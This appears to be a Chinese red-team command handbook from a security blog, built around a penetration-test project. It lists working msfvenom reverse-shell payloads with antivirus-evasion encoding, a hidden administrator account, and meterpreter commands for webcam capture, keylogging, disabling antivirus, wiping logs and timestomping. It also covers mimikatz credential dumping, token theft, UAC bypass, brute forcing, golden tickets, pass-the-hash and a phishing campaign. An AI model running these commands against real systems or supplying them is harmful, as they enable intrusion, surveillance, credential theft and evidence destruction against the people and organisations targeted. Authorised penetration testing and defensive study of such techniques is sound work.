红队基础操作命令手册 – 作者:爱网络爱安全

结合项目谈红队基础命令
项目背景:前期通过绿*扫描器得到sturct2远程命令执行和wenblogic反序列获取两枚webshell。
发现外网无法通过直接访问服务器的3389端口,但通过shell查看服务器是本地监听3389端口的,使用frp进行穿透。【看拓扑图有sanf**防火墙】

接着客户端运行frpc -c frpc.ini
服务器端运行frps -c frps.ini
本机输入本机ip+local_port(6000),即可完成穿透,为什么不用regeorg?因为连接提示成功了,但proxifier访问的时候出错了,做项目时间紧,短时间内解决不了,便没有深究。
下面是补充内网穿透小知识
内网穿透
我们进行内网渗透常用的隧道技术有dns隧道、http隧道、ssh隧道、icmp隧道等容易被网络防火墙放行的协议。
网络层隧道:ICMP隧道等
传输层隧道:TCP隧道、UDP隧道
应用层隧道:HTTP、DNS、SSH等隧道
网络层隧道
pingtunnel
传输层隧道工具
netcat linux自带
powercat powershell版本的netcat,需下载
netsh windows自带
lcx 端口转发工具
应用层隧道
dns2tcp 通过DNS隧道转发TCP链接
reGeorg 通过http隧道转发socks
Neo-reGeorg 更活跃稳定版本的reGeorg
EarthWorm 方便的多级代理,已停止更新
Venom go开发的多级代理
ssh本地转发: 
ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 [email protected]
#ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由服务端转发到114.114.114.114:9999
ssh远程转发: 
ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 [email protected]
#ssh服务端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端,再由ssh客户端转发到114.114.114.114:9999

接着准备上线CS和meterpreter,上不去,tasklist看到有36*和火*,只能新建用户,通过之前的穿透远程登录该服务器。【在这里感谢潇湘信安老哥】
C:/windows/system32 >
copy net1.exe asd.txt
asd.txt user guest /active:yes
net user guest   /active:yes
net user guest   1q2w3e4r@
net localgroup   administrators  guest   /add

meterpreter上线
设置payload 
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
使用shikata_ga_nai免杀
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.30.2.171 lport=6666 -e x86/shikata_ga_nai -i 5 -f exe >/home/kali/Desktop/PsExec2204.exe
生成python马  这里感谢bypass老哥
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www/html/evil.py

设置常规监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.43.167
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > exploit -j

meterpreter常用命令
基本系统命令
sessions    #sessions –h 查看帮助
sessions -i <ID值>  #进入会话   -k  杀死会话
background  #将当前会话放置后台
run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getsystem          通过各种攻击提升到system权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
shell #进入目标机cmd shell

webcam摄像头命令
webcam_list  #查看摄像头
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

migrate进程迁移
getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
kill <pid值>   #杀死进程

基本文件系统命令
getwd 或者pwd # 查看当前工作目录  
ls
cd
search -f *pass*       # 搜索文件  -h查看帮助
cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt #编辑或创建文件  没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2  #只能在当前目录下创建文件夹
rmdir lltest2  #只能删除当前目录下文件夹
getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp   #操作攻击者主机 切换目录

基本网络命令
ipconfig/ifconfig
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由

portfwd端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

autoroute添加路由
run  get_local_subnets                 获取当前网段
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由

arp_scanner、portscan等进行扫描
run post/windows/gather/hashdump   获取系统密码hash
run post/windows/gather/checkvm   检查是否是虚拟机
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

Socks4a代理
msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问
配置proxychains
linux是/etc/proxychains.conf
vi /etc/proxychains.conf
sock5 serverip 1080
使用代理
proxychains nmap    就是利用这个代理启动nmap
netstat -ant    查看网络socket连接情况
端口转发
可以将远程端口转发到本地,使用命令portfwd
portfwd add -l 1234 -r 172.16.250.30 -p 8080   #将远程的172.16.250.30的8080端口转发到本地的1234端口。

为了更加方便远程服务器,上传lcx.exe工具进行端口转发。在公网上使用该命令
./portmap -m 2 -p1 2222 -p2 5555    linux监听端口
靶机上使用以下命令。
lcx.exe  -slave  公网IP 2222  10.0.15.20   3389    windows转发端口

cobalt strike 派生msf
CobaltStrike -> Listener -> add -> payload选择Foregin(windows/foregin/reverse_http) -> msf攻击机ip/msf监听端口(192.168.163.148:4444)
在攻击机上进行msf监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.163.148
set lport 4444
run/explot

msf派生coba
生成攻击文件在目标机器运行既可
CobaltStrike -> Listener -> add -> payload选择(windows/beacon_http/reverse_http)
background
use exploit/windows/local/payload_inject
set LHOST CSip
set LPORT CS Listener监听端口
set disablepayloadhandler true
set session 1
run
clearev命令,删除日志。

脚本 效果
run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run auxiliary/scanner/portscan/tcp rhost=127.0.0.1 #扫描
run arp_scanner -r 192.168.1.1/24 #arp扫描
run post/multi/gather/env #查看环境变量
run getcountermeasure #查看防火墙配置情况
run post/windows/gather/enum_patches #查看补丁情况
run killav #关闭AV
run post/windows/gather/enum_logged_on_users #查看用户登录情况(现在与过去登陆过的用户)
run keylogrecorder #记录键盘信息
run win32-sshserver 安装openssh服务
run post/windows/gather/forensics/enum_drives #记录磁盘分区信息
run persistence #持久化
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run scraper #获取常见信息,并存储在~/.msf4/logs/scripts/scraper目录下
盗取令牌
use incognito 加载incognito模块
list_tokens -u  #查看可被盗取的用户的令牌
list_tokens -g #查看可被盗取的用户组的令牌
impersonate_token SHANFENGLAN\test
steal_token 10228 #窃取一个程序的令牌
drop_token 10228 #停止窃取此程序的令牌
bypassuac
use exploit/windows/local/bypassuac_sdclt
密码爆破模块
auxiliary/scanner/mysql/mysql_login mysql用户名密码爆破
auxiliary/scanner/ftp/ftp_login ftp用户名密码爆破
auxiliary/scanner/ssh/ssh_login ssh用户名密码爆破
auxiliary/scanner/telnet/telnet_login telnet用户名密码爆破
auxiliary/scanner/smb/smb_login smb用户名密码爆破
auxiliary/scanner/oracle/oracle_login oracle用户名密码爆破
auxiliary/scanner/postgres/postgres_login postgres用户名密码爆破
auxiliary/scanner/vnc/vnc_login vnc用户名密码爆破
auxiliary/scanner/pcanywhere/pcanywhere_login pcanywhere用户名密码爆破
auxiliary/scanner/snmp/snmp_login snmp用户名密码爆破
auxiliary/scanner/ftp/anonymous ftp匿名登陆
auxiliary/scanner/http/owa_ews_login 邮箱密码爆棚
auxiliary/scanner/http/owa_login 邮箱密码爆棚

通过shell关闭防火墙
netsh advfirewall set allprofiles state off#windows
systemctl stop firewalld#linux
对抗电子取证(修改MACE)
timestomp -v [file_path]  查询文件修改时间
timestomp 3333.txt -c “10/27/2015 14:22:11 修改文件创建时间

meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
解决meterpreter中文乱码
chcp 65001

权限提升
https://i.hacking8.com/tiquan/ 查找可利用的漏洞
msf 查询可用提权模块
use post/multi/recon/local_exploit_suggester
管理员运行木马程序
msf执行getsystem 获得system权限
getsystem
getsystem工作原理: ① getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。 ② getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。 ③ Windows服务已启动,导致与命名管道建立连接。 ④ 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
如使用bypassuac.rb脚本:
msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
内核漏洞提权 可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权
meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

域信息收集
ipconfig /all   # 查看本机ip,所在域
systeminfo      # 列出系统信息
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享

net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group “domain admins” /domain  # 查看域管理员的名字
net group “domain computers” /domain  # 查看域中的其他主机名
net group “domain controllers” /domain  # 查看域控制器(可能有多台)
for /l  %i  in (1,1,255) do @  ping  10.0.15.%i  -w  1  -n  1 |  find  /i  “ttl=”  探测局域网存货主机
metasploit扫描
使用metasploit模块查看一下该局域网开启3389的服务器。
use  auxiliary/scanner/rdp/rdp_scanner
set  rhosts 10.0.15.10-33
run

扫描smb登录
use     auxiliary/scanner/smb/smb_login
set     RHOSTS    10.0.15.10-33
set     SMBUser   administrator
set     SMBPass   123456a?
run

横向移动
Golden Ticket(金票)
金票的制作条件:
域名称
域的SID值
域的krbtgt账户的NTLM hash
伪造用户名
mimikatz伪造黄金票据
sekurlsa::krbtgt
msf psexec模块[pth 哈希传递攻击]
# 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command
# 执行直接就获得meterpreter的PTH模块
exploit/windows/smb/psexec
# 支持对一个网段PTH进行验证的模块
exploit/windows/smb/psexec_psh
前提条件
开启445端口 SMB服务
开启admin$共享
获取到NTLM hash值(格式必须位LM hash:NTLM hash)
use exploit/windows/smb/psexec
set lhost 192.168.52.128    //监听机器ip
set port 4444         //监听机器端口
set lhosts 192.168.52.138   //进行hash传递的机器
set smbuser administrator   //进行传递的用户名
set smbpass LMhash: NTLM hash //传递的hash值
run
IPC$共享利用
利用条件:知道IP,管理员账户密码
查看网络共享
net share
连接
net use \\10.30.2.230\ipc$ “Whoami2021” /user:”Administrator
共享磁盘
net use z: \\10.30.2.230\c$

其实搞到远程登录上线CS和meterpreter,因为两台服务器都没入域,扫描了波ms17_010之后无果,最后搞批量密码爆破无果,这个项目也没有其他思路了,就搞了下钓鱼,使用酒仙桥六号部队平台做python生成payload,再打包,后面测试发现不用编码次数也达到绕过的效果,在本机测试使用还好好的,群发邮件钓鱼之后,程序就报错了,有老哥知道可以call我。

取之于社区,也希望奉献自己的一份力量,希望和大家一起守护心中的安全。

https://blog.csdn.net/qq_41874930/article/details/109330020    感谢Shanfenglan师傅
https://www.cnblogs.com/linuxsec/articles/12864682.html     感谢linuxsec师傅
https://www.jianshu.com/p/ce5e8fac1abf    感谢Tide_诺言师傅
https://www.freebuf.com/articles/network/264560.html     whoami
https://www.yuque.com/zirc0n/escbhg/ze0p1g   CoabltZirs0n师傅
https://www.hacking8.com/tiquan/   hacking8知识库
感谢酒仙桥六号部队,只要出手必是精品。

来源:freebuf.com 2021-06-21 11:15:19 by: 爱网络爱安全

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论